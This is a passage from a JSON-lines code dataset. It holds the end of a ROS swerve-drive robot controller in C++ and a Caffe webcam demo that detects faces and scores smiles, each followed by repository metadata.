<<speeds_angles[i][0]);\n\t\t\t\tspeed_joints_[i].setCommand(0);\n\t\t\t\tspeed_joints_[i].setMode(percent_voltage_mode);\n\t\t\t}\n\t\t\tif(ros::Time::now().toSec() - time_before_brake > .5)\n\t\t\t{\t\n\t\t\t\tbrake();\n\t\t\t}\n\t\t\telse\n\t\t\t{\t\t\t\t\t\t\t\t\n\t\t\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t\t\t{\n\t\t\t\t\tsteering_joints_[i].setCommand(speeds_angles[i][1]);\n\t\t\t\t}\n\n\t\t\t}\t\t\t\t\t\n\t\t\treturn;\n\t\t}\n\n\t\ttime_before_brake = ros::Time::now().toSec();\n\n\t\t// Limit velocities and accelerations:\n\t\t//const double cmd_dt(period.toSec());\n\n\t\t// Compute wheels velocities:\n\t\t//Parse curr_cmd to get velocity vector and rotation (z axis)\n\t\t//TODO: check unit conversions/coordinate frames\n\n\t\tarray<double, WHEELCOUNT> curPos;\n\t\tfor (int i = 0; i < WHEELCOUNT; i++)\n\t\t\tcurPos[i] = steering_joints_[i].getPosition();\n\t\tstd::array<bool, WHEELCOUNT> holder;\n\t\tspeeds_angles  = swerveC_->motorOutputs(curr_cmd.lin, curr_cmd.ang, M_PI/2, false, holder, false, curPos, true);\n\t\t\n\t\t// Set wheels velocities:\n\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t{\n\t\t\t//ROS_INFO_STREAM(\"id:\" << i << \" speed: \" <<speeds_angles[i][0]);\n\n\t\t\tsteering_joints_[i].setCommand(speeds_angles[i][1]);\n\t\t}\n\t\t\n\t\tif(ros::Time::now().toSec() - .1 > brake_last || ros::Time::now().toSec() - .1 > mode_last)\n\t\t{\n\t\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t\t{\n\t\t\t\tspeed_joints_[i].setMode(velocity_mode);\n\t\t\t\tspeed_joints_[i].setCommand(speeds_angles[i][0]);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\t\n\t\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t\t{\n\t\t\t\tspeed_joints_[i].setCommand(0);\n\t\t\t\tspeed_joints_[i].setMode(percent_voltage_mode);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\t\n\t\tmode_last =::Time::now().toSec();\n\t\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t\t{\n\t\t\tsteering_joints_[i].setCustomProfileRun(true);\n\t\t\tspeed_joints_[i].setCustomProfileRun(true);\n\n\t\t\t//ROS_ERROR_STREAM(slot_local);\t\t\n\t\t}\n\n\t}\n\n\tstatic uint16_t slot_ret = 0;\n\tstatic int slot_ret_diff_last_sum;\n\n\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t{\n\t\tif(slot_ret != steering_joints_[i].getCustomProfileSlot()) slot_ret_diff_last_sum+=1;\n\t\t\t\t\n\t\tslot_ret = steering_joints_[i].getCustomProfileSlot();\n\t\t\n\t\t//ROS_ERROR_STREAM(slot_local);     \n\t}\n\t\n\tstd_msgs::UInt16 pub_queue_hold;\n\tpub_queue_hold.data = slot_ret;\n\n\tprofile_queue_num.publish(pub_queue_hold);\n\tif(slot_ret_diff_last_sum > 20)\n\t{\n\n\t\tROS_ERROR(\"potential profile slot issue with swerve\");\n\t}\n}\n\nvoid TalonSwerveDriveController::starting(const ros::Time &time)\n{\n\tbrake();\n\n\t// Register starting time used to keep fixed rate\n\tif (comp_odom_)\n\t{\n\t\tlast_odom_pub_time_ = time;\n\t\tlast_odom_tf_pub_time_ = time;\n\t}\n\t//odometry_.init(time);\n}\n\nvoid TalonSwerveDriveController::stopping(const ros::Time & /*time*/)\n{\n\tbrake();\n}\n\nvoid TalonSwerveDriveController::brake()\n{\n\t//required input, but not needed in this case\n\tarray<bool, WHEELCOUNT> hold;\n\t//Use parking config\n\n\tarray<double, WHEELCOUNT> curPos;\n\tfor (int i = 0; i < WHEELCOUNT; i++)\n\t{\n\t\tcurPos[i] = steering_joints_[i].getPosition();\n\t}\n\tstd::array<Vector2d, WHEELCOUNT> park = swerveC_->motorOutputs({0, 0}, 0, 0, false, hold, true, curPos, false);\n\tfor (size_t i = 0; i < wheel_joints_size_; ++i)\n\t{\n\t\tspeed_joints_[i].setCommand(0.0);\n\t\tsteering_joints_[i].setCommand(park[i][1]);\n\t}\n}\n\n\n\nvoid TalonSwerveDriveController::cmdVelCallback(const geometry_msgs::Twist &command)\n{\n\tif (isRunning())\n\t{\n\t\t// check tha//t we don't have multiple publishers on the command topic\n        //ROS_WARN(\"Time Difference: %f\", ros::Time::now().toSec() - command->header.stamp.toSec());\n\t\tif (!allow_multiple_cmd_vel_publishers_ && sub_command_.getNumPublishers() > 1)\n\t\t{\n\t\t\tROS_ERROR_STREAM_THROTTLE_NAMED(1.0, name_, \"Detected \" << sub_command_.getNumPublishers()\n\t\t\t\t\t\t\t\t\t\t\t<< \" publishers. Only 1 publisher is allowed. Going to brake.\");\n\t\t\tbrake();\n\t\t\treturn;\n\t\t}\n\t\n\n\n\t\t//These below are some simple bounds checks on the cmd vel input so we don't make dumb mistakes. (like try to get the swerve drive to fly away)\n\t\t//Those counters exist to reduce spam somewhat\n\t\tstatic int fly_counter = 0;\n\t\tstatic bool fly_last = false;\t\n\t\tif(command.linear.z != 0)\n\t\t{\n\t\t\tif(fly_counter > 40 || !fly_last)\n\t\t\t{\n\t\t\t\tROS_ERROR(\"Rotors not up to speed!\");\n\t\t\t\tfly_counter = 0;\n\t\t\t}\n\t\t\tfly_last = true;\n\t\t\tfly_counter++;\n\t\t}\n\t\telse\n\t\t{\t\n\t\t\tfly_last = false;\n\t\t}\n\t\tstatic int impossible_rotation_counter = 0;\t\n\t\tstatic bool impossible_rotation_last = false;\t\n\t\tif((command.angular.x != 0) || (command.angular.y != 0))\n\t\t{\n\t\t\tif(impossible_rotation_counter > 40 || !impossible_rotation_last)\n\t\t\t{\n\t\t\t\tROS_ERROR(\"Reaction wheels need alignment. Please reverse polarity on neutron flux capacitor\");\n\t\t\t\timpossible_rotation_counter = 0;\n\t\t\t}\n\t\t\timpossible_rotation_last = true;\n\t\t\timpossible_rotation_counter++;\n\t\t}\n\t\telse\n\t\t{\t\n\t\t\timpossible_rotation_last = false;\n\t\t}\n\t\tstatic int light_speed_counter = 0;\t\n\t\tstatic bool light_speed_last = false;\t\n\t\tif((sqrt(command.linear.x *command.linear.x + command.linear.y * command.linear.y)) > 300000000)\n\t\t{\n\t\t\tif(light_speed_counter > 40 || !light_speed_last)\n\t\t\t{\n\t\t\t\tROS_ERROR(\"PHYSICS VIOLATION DETECTED. DISABLE TELEPORTATION UNIT!\");\n\t\t\t\tlight_speed_counter = 0;\n\t\t\t}\n\t\t\tlight_speed_last = true;\n\t\t\tlight_speed_counter++;\n\t\t}\n\t\telse\n\t\t{\t\n\t\t\tlight_speed_last = false;\n\t\t}\n\n\t\t//TODO change to twist msg\n\t\t\n\t\tcommand_struct_.ang = command.angular.z;\n\t\tcommand_struct_.lin[0] = command.linear.x;\n\t\tcommand_struct_.lin[1] = command.linear.y;\n\t\tcommand_struct_.stamp = ros::Time::now();\n\t\tcommand_.writeFromNonRT (command_struct_);\n\t\t\n\t\tmode_.writeFromNonRT (true);\n\n\t\t\n#if 0\n\t\t//TODO fix debug\n\t\tROS_DEBUG_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t  \"Added values to command. \"\n\t\t\t\t\t\t\t  << \"Ang: \"   << command_struct_.ang << \", \"\n\t\t\t\t\t\t\t  << \"Lin X: \"   << command_struct_.lin[0] << \", \"\n\t\t\t\t\t\t\t  << \"Lin Y: \"   << command_struct_.lin[1] << \", \"\n\t\t\t\t\t\t\t  << \"Stamp: \" << command_struct_.stamp);\n#endif\n\t}\n\telse\n\t{\n\t\tROS_ERROR_NAMED(name_, \"Can't accept new commands. Controller is not running.\");\n\t}\n}\n\nbool TalonSwerveDriveController::motionProfileService(talon_swerve_drive_controller::MotionProfilePoints::Request &req, talon_swerve_drive_controller::MotionProfilePoints::Response &/*res*/)\n{\n\tif (isRunning())\n\t{\n\t\t/*\n\t\t// check that we don't have multiple publishers on the command topic\n\t\tif (!allow_multiple_cmd_vel_publishers_ && sub_command_.getNumPublishers() > 1)\n\t\t{\n\t\t\tROS_ERROR_STREAM_THROTTLE_NAMED(1.0, name_, \"Detected \" << sub_command_.getNumPublishers()\n\t\t\t\t\t\t\t\t\t\t\t<< \" publishers. Only 1 publisher is allowed. Going to brake.\");\n\t\t\tbrake();\n\t\t\treturn;\n\t\t}\n\t\t*/\t\n\n\t\t//2 Megs -  at least 10 profs\n\t\n\t\tROS_WARN(\"serv points called\");\n\n\t\tfull_profile_cmd full_profile_struct;\n\t\tfull_profile_struct.buffer = req.buffer;\n\t\tif(req.buffer)\n\t\t{\n\t\t\tROS_INFO_STREAM(\"size in controller: \" << req.profiles.size());\n\t\t\tfull_profile_struct.profiles.resize(req.profiles.size());\n\t\t\tfor(size_t i = 0; i < req.profiles.size(); i++)\n\t\t\t{\n\t\t\t\tfull_profile_struct.profiles[i].drive_pos.resize(req.profiles[i].points.size());\n\t\t\t\tfull_profile_struct.profiles[i].drive_f.resize(req.profiles[i].points.size());\n\t\t\t\tfull_profile_struct.profiles[i].steer_pos.resize(req.profiles[i].points.size());\n\t\t\t\tfull_profile_struct.profiles[i].steer_f.resize(req.profiles[i].points.size());\n\t\t\t\tfull_profile_struct.profiles[i].hold.resize(req.profiles[i].points.size());\n\t\t\t\tfull_profile_struct.profiles[i].dt = req.profiles[i].dt;\n\t\t\t\tfull_profile_struct.profiles[i].slot = req.profiles[i].slot;\n\t\t\t\tfor(size_t k = 0; k < req.profiles[i].points.size(); k++)\n\t\t\t\t{\n\t\t\t\t\tfor(size_t h = 0; h < req.profiles[i].points[k].hold.size(); h++)\n\t\t\t\t\t{\n\t\t\t\t\t\tfull_profile_struct.profiles[i].hold[k].push_back(req.profiles[i].points[k].hold[h]);\n\t\t\t\t\t}\n\t\t\t\t\tfull_profile_struct.profiles[i].drive_pos[k] = req.profiles[i].points[k].drive_pos;\n\t\t\t\t\tfull_profile_struct.profiles[i].drive_f[k] = req.profiles[i].points[k].drive_f;\n\t\t\t\t\tfull_profile_struct.profiles[i].steer_pos[k] = req.profiles[i].points[k].steer_pos;\n\t\t\t\t\tfull_profile_struct.profiles[i].steer_f[k] = req.profiles[i].points[k].steer_f;\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\n\t\tfull_profile_struct.wipe_all\t\t= req.wipe_all;\t\t\n\t\tfull_profile_struct.run\t\t\t\t= req.run;\t\t\n\t\tfull_profile_struct.brake\t\t\t= req.brake;\t\t\n\t\tfull_profile_struct.run_slot\t\t= req.run_slot;\t\t\n\t\tfull_profile_struct.change_queue\t= req.change_queue;\n\t\tfor(size_t i= 0; i< req.new_queue.size(); i++)\n\t\t{\n\t\t\tfull_profile_struct.new_queue.push_back(req.new_queue[i]);\n\t\t}\n\t\tfull_profile_struct.newly_set\t\t= true;\n\t\t\t\t\n\t\t//mutex?\t\t\n\t\tfull_profile_buffer_.push_back(full_profile_struct);\n\t\t\n\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\tROS_ERROR_NAMED(name_, \"Can't accept new commands. Controller is not running.\");\n\t\treturn false;\n\t}\n}\n\nbool TalonSwerveDriveController::brakeService(std_srvs::Empty::Request &/*req*/, std_srvs::Empty::Response &/*res*/)\n{\n\tif (isRunning())\n\t{\n\t\tbrake_struct_.lin[0] = 0;\n\t\tbrake_struct_.lin[1] = 0;\n\t\tbrake_struct_.ang = 0;\n\t\tbrake_struct_.stamp = ros::Time::now();\n\t\tROS_WARN(\"called in controller\");\n\t\tcommand_.writeFromNonRT(brake_struct_);\n\t\tmode_.writeFromNonRT (true);\n\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\tROS_ERROR_NAMED(name_, \"Can't accept new commands. Controller is not running.\");\n\t\treturn false;\n\t}\n}\n\nbool TalonSwerveDriveController::wheelPosService(talon_swerve_drive_controller::WheelPos::Request &/*req*/, talon_swerve_drive_controller::WheelPos::Response &res)\n{\n\tif (isRunning())\n\t{\n\t\tstd::array<double, WHEELCOUNT> steer_angles;\n\t\t{\n\t\t\tstd::lock_guard<std::mutex> lock(steer_angles_mutex_);\n\t\t\tsteer_angles = steer_angles_;\n\t\t}\n\n\t\tfor(int i = 0; i < WHEELCOUNT; i++)\n\t\t{\n\t\t\tres.positions.push_back(steer_angles[i]);\n\t\t}\n\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\tROS_ERROR_NAMED(name_, \"Can't distribute data. Controller is not running.\");\n\t\treturn false;\n\t}\n}\n/*\nvoid TalonSwerveDriveController::cmdCallback(const talon_swerve_drive_controller::CompleteCmd &command)\n{\n\tif (isRunning())\n\t{\n\t\t// check that we don't have multiple publishers on the command topic\n\t\tif (sub_command_.getNumPublishers() > 1)\n\t\t{\n\t\t\tROS_ERROR_STREAM_THROTTLE_NAMED(1.0, name_, \"Detected \" << sub_command_.getNumPublishers()\n\t\t\t\t\t\t\t\t\t\t\t<< \" publishers. Only 1 publisher is allowed. Going to brake.\");\n\t\t\tbrake();\n\t\t\treturn;\n\t\t}\n\t\tmode_.writeFromNonRT(command.cmd_vel_or_points);\n\t\tif(command.cmd_vel_or_points)\n\t\t{\n\t\t\tcommand_struct_.ang = command.twist_.angular.z;\n\t\t\tcommand_struct_.lin[0] = command.twist_.linear.x;\n\t\t\tcommand_struct_.lin[1] = command.twist_.linear.y;\n\t\t\tcommand_struct_.stamp = ros::Time::now();\n\t\t\tcommand_.writeFromNonRT (command_struct_);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpoints_struct_.lin_points_pos.clear();\n\t\t\tpoints_struct_.lin_points_vel.clear();\n\t\t\tpoints_struct_.ang_pos.clear();\n\t\t\tpoints_struct_.ang_vel.clear();\n\t\t\tdouble duration = command.joint_trajectory.points[1].time_from_start.toSec()\n\t\t\t- command.joint_trajectory.points[0].time_from_start.toSec();\n\n\t\t\tif(duration < .0025)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_0ms;\n\t\t\t}\n\t\t\telse if(duration < .0075)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_5ms;\n\t\t\t}\n\t\t\telse if(duration < .015)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_10ms;\n\t\t\t}\n\t\t\telse if(duration < .025)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_20ms;\n\t\t\t}\n\t\t\telse if(duration < .035)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_30ms;\n\t\t\t}\n\t\t\telse if(duration < .045)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_40ms;\n\t\t\t}\n\t\t\telse if(duration < .075)\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_50ms;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t     points_struct_.dt = hardware_interface::TrajectoryDuration::TrajectoryDuration_100ms;\n\t\t\t}\n\t\t\tfor(size_t i = 0; i < command.joint_trajectory.points.size(); i++)\n\t\t\t{\n\t\t\t\tpoints_struct_.lin_points_pos.push_back({command.joint_trajectory.points[i].positions[0], command.joint_trajectory.points[i].positions[1]});\n\t\t\t\tpoints_struct_.lin_points_vel.push_back({command.joint_trajectory.points[i].velocities[0], command.joint_trajectory.points[i].velocities[1]});\n\t\t\t\tpoints_struct_.ang_pos.push_back(command.joint_trajectory.points[i].positions[2]);\n\t\t\t\tpoints_struct_.ang_vel.push_back(command.joint_trajectory.points[i].velocities[2]);\n\t\t\t}\n\t\t\tcommand_points_.writeFromNonRT(points_struct_);\n\t\t}\n\t}\n\telse\n\t{\n\t\tROS_ERROR_NAMED(name_, \"Can't accept new commands. Controller is not running.\");\n\t}\n}\n\n*/\n\nbool TalonSwerveDriveController::getWheelNames(ros::NodeHandle &controller_nh,\n\t\tconst std::string &wheel_param,\n\t\tstd::vector<std::string> &wheel_names)\n{\n\tXmlRpc::XmlRpcValue wheel_list;\n\tif (!controller_nh.getParam(wheel_param, wheel_list))\n\t{\n\t\tROS_ERROR_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t   \"Couldn't retrieve wheel param '\" << wheel_param << \"'.\");\n\t\treturn false;\n\t}\n\n\tif (wheel_list.getType() == XmlRpc::XmlRpcValue::TypeArray)\n\t{\n\t\tif (wheel_list.size() == 0)\n\t\t{\n\t\t\tROS_ERROR_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t\t   \"Wheel param '\" << wheel_param << \"' is an empty list\");\n\t\t\treturn false;\n\t\t}\n\n\t\tfor (int i = 0; i < wheel_list.size(); ++i)\n\t\t{\n\t\t\tif (wheel_list[i].getType() != XmlRpc::XmlRpcValue::TypeString)\n\t\t\t{\n\t\t\t\tROS_ERROR_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t\t\t   \"Wheel param '\" << wheel_param << \"' #\" << i <<\n\t\t\t\t\t\t\t\t\t   \" isn't a string.\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\twheel_names.resize(wheel_list.size());\n\t\tfor (int i = 0; i < wheel_list.size(); ++i)\n\t\t{\n\t\t\twheel_names[i] = static_cast<std::string>(wheel_list[i]);\n\t\t}\n\t}\n\telse if (wheel_list.getType() == XmlRpc::XmlRpcValue::TypeString)\n\t{\n\t\twheel_names.push_back(wheel_list);\n\t}\n\telse\n\t{\n\t\tROS_ERROR_STREAM_NAMED(name_,\n\t\t\t\t\t\t\t   \"Wheel param '\" << wheel_param <<\n\t\t\t\t\t\t\t   \"' is neither a list of strings nor a string.\");\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n}\n/*\n  bool TalonSwerveDriveController::setOdomParamsFromUrdf(ros::NodeHandle& root_nh,\n                             const std::string& steering_name,\n                             const std::string& speed_name,\n                             bool lookup_wheel_radius)\n  //{\n    if (!(lookup_wheel_radius))\n    {\n      // Short-circuit in case we don't need to look up anything, so we don't have to parse the URDF\n      return true;\n    }\n\n    // Parse robot description\n    const std::string model_param_name = \"robot_description\";\n    bool res = root_nh.hasParam(model_param_name);\n    std::string robot_model_str=\"\";\n    if (!res || !root_nh.getParam(model_param_name,robot_model_str))\n    {\n      ROS_ERROR_NAMED(name_, \"Robot descripion couldn't be retrieved from param server.\");\n      return false;\n    }\n\n    urdf::ModelInterfaceSharedPtr model(urdf::parseURDF(robot_model_str));\n\n    //TODO: replace with swerve equivalent\n    //urdf::JointConstSharedPtr left_wheel_joint(model->getJoint(left_wheel_name));\n    //urdf::JointConstSharedPtr right_wheel_joint(model->getJoint(right_wheel_name));\n\n\n\n\n\n\n    if(lookup_wheel_radius)\n    {\n      // Get wheel radius\n      if (!getWheelRadius(model->getLink(left_wheel_joint->child_link_name), wheel_radius_))\n      {\n        ROS_ERROR_STREAM_NAMED(name_, \"Couldn't retrieve \" << left_wheel_name << \" wheel radius\");\n        return false;\n      }\n    XmlRpc::XmlRpcValue twist_cov_list;\n    controller_nh.getParam(\"twist_covariance_diagonal\", twist_cov_list);\n    ROS_ASSERT(twist_cov_list.getType() == XmlRpc::XmlRpcValue::TypeArray);\n    ROS_ASSERT(twist_cov_list.size() == 6);\n    for (int i = 0; i < twist_cov_list.size(); ++i)\n      ROS_ASSERT(twist_cov_list[i].getType() == XmlRpc::XmlRpcValue::TypeDouble);\n\n    // Setup odometry realtime publisher + odom message constant fields\n    odom_pub_.reset(new realtime_tools::RealtimePublisher<nav_msgs::Odometry>(controller_nh, \"odom\", 100));\n    odom_pub_->msg_.header.frame_id = odom_frame_id_;\n    odom_pub_->msg_.child_frame_id = base_frame_id_;\n    odom_pub_->msg_.pose.pose.position.z = 0;\n    odom_pub_->msg_.pose.covariance = boost::assign::list_of\n        (static_cast<double>(pose_cov_list[0])) (0)  (0)  (0)  (0)  (0)\n        (0)  (static_cast<double>(pose_cov_list[1])) (0)  (0)  (0)  (0)\n        (0)  (0)  (static_cast<double>(pose_cov_list[2])) (0)  (0)  (0)\n        (0)  (0)  (0)  (static_cast<double>(pose_cov_list[3])) (0)  (0)\n        (0)  (0)  (0)  (0)  (static_cast<double>(pose_cov_list[4])) (0)\n        (0)  (0)  (0)  (0)  (0)  (static_cast<double>(pose_cov_list[5]));\n    odom_pub_->msg_.twist.twist.linear.z  = 0;\n    odom_pub_->msg_.twist.twist.angular.x = 0;\n    odom_pub_->msg_.twist.twist.angular.y = 0;\n    odom_pub_->msg_.twist.covariance = boost::assign::list_of\n        (static_cast<double>(twist_cov_list[0])) (0)  (0)  (0)  (0)  (0)\n        (0)  (static_cast<double>(twist_cov_list[1])) (0)  (0)  (0)  (0)\n        (0)  (0)  (static_cast<double>(twist_cov_list[2])) (0)  (0)  (0)\n        (0)  (0)  (0)  (static_cast<double>(twist_cov_list[3])) (0)  (0)\n        (0)  (0)  (0)  (0)  (static_cast<double>(twist_cov_list[4])) (0)\n        (0)  (0)  (0)  (0)  (0)  (static_cast<double>(twist_cov_list[5]));\n    tf_odom_pub_.reset(new realtime_tools::RealtimePublisher<tf::tfMessage>(root_nh, \"/tf\", 100));\n    tf_odom_pub_->msg_.transforms.resize(1);\n    tf_odom_pub_->msg_.transforms[0].transform.translation.z = 0.0;\n    tf_odom_pub_->msg_.transforms[0].child_frame_id = base_frame_id_;\n    tf_odom_pub_->msg_.transforms[0].header.frame_id = odom_frame_id_;\n  }\n*/\n//}\n\n", "meta": {"hexsha": "ebad0a5d4e3c8c337ad03cc623f1f89e8fd8c685", "size": 46549, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "zebROS_ws/src/talon_swerve_drive_controller/src/swerve_drive_controller.cpp", "max_stars_repo_name": "FRC900/2018Offseason", "max_stars_repo_head_hexsha": "9940869e9c126c6b0beaa5517d1e719ed5063a35", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-03-24T20:54:20.000Z", "max_stars_repo_stars_event_max_datetime": "2019-03-24T20:54:20.000Z", "max_issues_repo_path": "zebROS_ws/src/talon_swerve_drive_controller/src/swerve_drive_controller.cpp", "max_issues_repo_name": "FRC900/2018Offseason", "max_issues_repo_head_hexsha": "9940869e9c126c6b0beaa5517d1e719ed5063a35", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "zebROS_ws/src/talon_swerve_drive_controller/src/swerve_drive_controller.cpp", "max_forks_repo_name": "FRC900/2018Offseason", "max_forks_repo_head_hexsha": "9940869e9c126c6b0beaa5517d1e719ed5063a35", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2019-01-19T00:40:39.000Z", "max_forks_repo_forks_event_max_datetime": "2019-01-19T00:40:39.000Z", "avg_line_length": 34.4297337278, "max_line_length": 190, "alphanum_fraction": 0.7047842059, "num_tokens": 13208, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.23370634623958197, "lm_q1q2_score": 0.11867885537780336}}
{"text": "// if not use OPENCV, note it.\n#include <opencv2/opencv.hpp>\n#include <opencv2/core/core.hpp>\n#include <opencv2/imgproc/imgproc.hpp>\n#include <opencv2/highgui/highgui.hpp>\n// if not use, note it.\n#include <fstream>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <map>\n// Google log & flags\n#include \"gflags/gflags.h\"\n#include \"glog/logging.h\"\n// caffe\n#include \"caffe/proto/caffe.pb.h\"\n#include \"caffe/caffe.hpp\"\n// remo, note the useless classes.\n#include \"caffe/remo/remo_front_visualizer.hpp\"\n#include \"caffe/remo/net_wrap.hpp\"\n#include \"caffe/remo/frame_reader.hpp\"\n#include \"caffe/remo/data_frame.hpp\"\n#include \"caffe/remo/basic.hpp\"\n#include \"caffe/remo/res_frame.hpp\"\n#include \"caffe/remo/visualizer.hpp\"\n\n#include \"caffe/mask/bbox_func.hpp\"\n\n#include \"caffe/tracker/basic.hpp\"\n#include <boost/foreach.hpp>\n#include <boost/property_tree/ptree.hpp>\n#include <boost/property_tree/xml_parser.hpp>\n\n#include \"caffe/det/detwrap.hpp\"\n#include \"caffe/smile/smile_net.hpp\"\n\nusing namespace std;\nusing namespace caffe;\nusing std::string;\nusing std::vector;\nnamespace bfs = boost::filesystem;\n\nint main(int nargc, char** args) {\n   // ################################ NETWORK ################################\n   // network input\n   int resized_width = 512;\n   int resized_height = 288;\n   // Network config\n   const std::string network_proto = \"/home/ethan/ForZhangM/ReleaseTMP_20180124_PerFaceHeadHand_Det/test_2SSD-MA2-OHEM-PLA-LLR_PersonFaceHeadHand.prototxt\";\n   const std::string caffe_model = \"/home/ethan/ForZhangM/ReleaseTMP_20180124_PerFaceHeadHand_Det/ResNetPoseDet_JointTrain_I_L_WithFaceHeadHand_1H_iter_240000.caffemodel\";\n   // Smile Net\n  //  const std::string smile_network_proto = \"/home/zhangming/Models/Results/SmileNet/ResCNN_Base_V2-I96-1-1-3FC/Proto/test_copy.prototxt\";\n  //  const std::string smile_network_model = \"/home/zhangming/Models/Results/SmileNet/ResCNN_Base_V2-I96-1-1-3FC/Models/ResCNN_Base_V2-I96-1-1-3FC_iter_300000.caffemodel\";\n  //  const std::string smile_network_proto = \"/home/zhangming/Models/Results/SmileNet/ResCNN_Base_V1-I96-1-1/Proto/test_copy.prototxt\";\n  //  const std::string smile_network_model = \"/home/zhangming/Models/Results/SmileNet/ResCNN_Base_V1-I96-1-1/Models/ResCNN_Base_V1-I96-1-1_iter_20000.caffemodel\";\n   const std::string smile_network_proto = \"/home/ethan/Models/Results/SmileNet/CNN_Base_V1-I64/test_copy.prototxt\";\n   const std::string smile_network_model = \"/home/ethan/Models/Results/SmileNet/CNN_Base_V1-I64/CNN_Base_V1-I64_iter_300000.caffemodel\";\n\n   // GPU\n   int gpu_id = 0;\n   bool mode = true;  // use GPU\n   // features\n   const std::string proposals = \"det_out\";\n   // display Size\n   int max_dis_size = 1280;\n   // active labels\n   vector<int> active_label;\n   active_label.push_back(3);\n   // ################################ DATA ####################################\n   // CAMERA\n   const bool use_camera = true; // 0\n   const int cam_width = 1280;\n   const int cam_height = 720;\n   // ################################ MAIN LOOP ################################\n   // det_warpper\n   caffe::DetWrapper<float> det_wrapper(network_proto,caffe_model,mode,gpu_id,proposals,max_dis_size);\n   caffe::SmileNetWrapper smile_wrapper(smile_network_proto,smile_network_model);\n\n   //  CAMERA\n   if (use_camera) {\n     cv::VideoCapture cap;\n     if (!cap.open(0)) {\n       LOG(FATAL) << \"Failed to open webcam: \" << 0;\n     }\n     cap.set(CV_CAP_PROP_FRAME_WIDTH, cam_width);\n     cap.set(CV_CAP_PROP_FRAME_HEIGHT, cam_height);\n     cv::Mat cv_img;\n     cap >> cv_img;\n     int count = 0;\n     CHECK(cv_img.data) << \"Could not load image.\";\n     while (1) {\n       ++count;\n       cv::Mat image;\n       cap >> image;\n       caffe::DataFrame<float> data_frame(count, image, resized_width, resized_height);\n       // \u7ed8\u5236\u4e3b\u7f51\u7edc\u7684\u7ed3\u679c\n       vector<LabeledBBox<float> > rois;\n       det_wrapper.get_rois(data_frame, &rois);\n       for (int i = 0; i < rois.size(); ++i) {\n         if (rois[i].cid != 3) continue;  // Face\n         rois[i].bbox.clip();\n         float score;\n         const float w = rois[i].bbox.get_width() * image.cols;\n         const float h = rois[i].bbox.get_height() * image.rows;\n         const float ratio = w / h;\n         const bool rflag = ratio > 0.75 && ratio < 1.33;\n         bool flag = smile_wrapper.is_smile(image, rois[i].bbox, &score) && rflag;\n         LOG(INFO) << \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>SCORE: \" << score;\n         // \u7b11\u8138\u7ed8\u5236\u7eff\u8272\u6846,\u5426\u5219\u7ed8\u5236\u7ea2\u8272\u6846\n         const cv::Point point1(rois[i].bbox.x1_ * image.cols, rois[i].bbox.y1_ * image.rows);\n         const cv::Point point2(rois[i].bbox.x2_ * image.cols, rois[i].bbox.y2_ * image.rows);\n         int r = 255;\n         int g = 0;\n         int b = 0;\n         if (flag) {\n           r = 0; g = 255;\n         }\n         const cv::Scalar box_color(b, g, r);\n         const int thickness = 2;\n         cv::rectangle(image, point1, point2, box_color, thickness);\n         // \u663e\u793ascore\n         char tmp_str[256];\n         snprintf(tmp_str, 256, \"%.3f\", score);\n         cv::putText(image, tmp_str, cv::Point(rois[i].bbox.x1_ * image.cols, rois[i].bbox.y1_ * image.rows + 20),\n            cv::FONT_HERSHEY_SIMPLEX, 0.75, cv::Scalar(255,0,0), 1);\n       }\n       cv::namedWindow(\"Smile\", cv::WINDOW_AUTOSIZE);\n       cv::imshow( \"Smile\", image);\n       cv::waitKey(1);\n     }\n   }\n   LOG(INFO) << \"Finished.\";\n   return 0;\n }\n", "meta": {"hexsha": "e6688a1f0873a2f39e16e81b38a8a7027a487871", "size": 5407, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "remodet_repository_wdh_part/tools/smile_demo.cpp", "max_stars_repo_name": "UrwLee/Remo_experience", "max_stars_repo_head_hexsha": "a59d5b9d6d009524672e415c77d056bc9dd88c72", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, 